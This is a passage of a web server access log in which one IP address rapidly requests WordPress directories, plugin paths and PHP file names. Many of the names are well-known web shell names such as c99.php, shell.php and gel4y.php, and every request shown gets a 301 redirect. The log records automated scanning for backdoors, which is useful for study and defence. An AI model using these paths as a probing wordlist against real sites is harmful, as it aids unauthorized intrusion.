-0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:45 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:46 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:46 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:46 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:47 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:47 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:47 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:48 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:48 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:48 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:49 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:49 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:50 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:50 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:50 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:51 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:51 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:51 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:52 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:52 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:52 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:52 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:53 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:53 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:53 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:54 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:54 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:54 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:55 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:55 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:55 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:56 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:56 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:56 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:56 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:57 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:57 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:57 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:58 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:58 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:58 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:59 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:34:59 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:00 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:00 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:00 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:01 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:01 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:01 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:01 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:02 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:02 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:03 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:03 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:03 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:04 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:04 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:04 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:05 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:07 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:07 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:08 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:08 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:09 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:10 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:10 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:10 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:11 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:11 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:12 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:12 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:13 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:13 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:13 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:14 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:14 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:14 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:14 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:15 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:15 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:15 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:16 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:16 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:16 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:17 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:17 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:17 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:18 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:18 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:18 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:19 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:19 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:19 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:20 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:20 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:20 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:21 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:21 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:21 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:22 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:22 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:22 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:22 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:23 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:23 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:23 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:24 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:24 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:24 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:25 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:25 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:25 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:26 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:26 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:26 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:27 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:27 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:27 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:27 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:28 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:28 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:28 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:28 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:29 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:29 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:29 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:30 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:30 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:30 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:31 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:31 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:31 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:32 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:32 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:32 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:33 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:33 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:33 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:33 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:34 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:34 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:34 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:35 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:35 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:36 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:36 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:36 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:37 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:37 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:38 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:38 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:38 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:39 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:39 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:39 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:40 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:40 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:40 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:40 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:41 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:41 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:41 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:41 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:42 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:42 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:42 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:43 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:43 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:43 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:44 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:44 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:44 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:44 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:45 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:45 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:45 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:46 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:46 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:46 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:46 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:47 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:47 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:47 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:48 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:48 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:48 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:49 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:49 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:49 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:49 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:50 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:50 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:50 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:51 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:51 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:51 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:51 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:52 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:52 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:52 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:53 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:53 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:53 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:53 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:54 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:54 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:54 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:55 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:55 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:55 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:55 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:56 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:56 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:56 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:57 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:57 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:57 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:58 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:58 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:58 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [25/Apr/2025:19:35:59 -0400] "GET 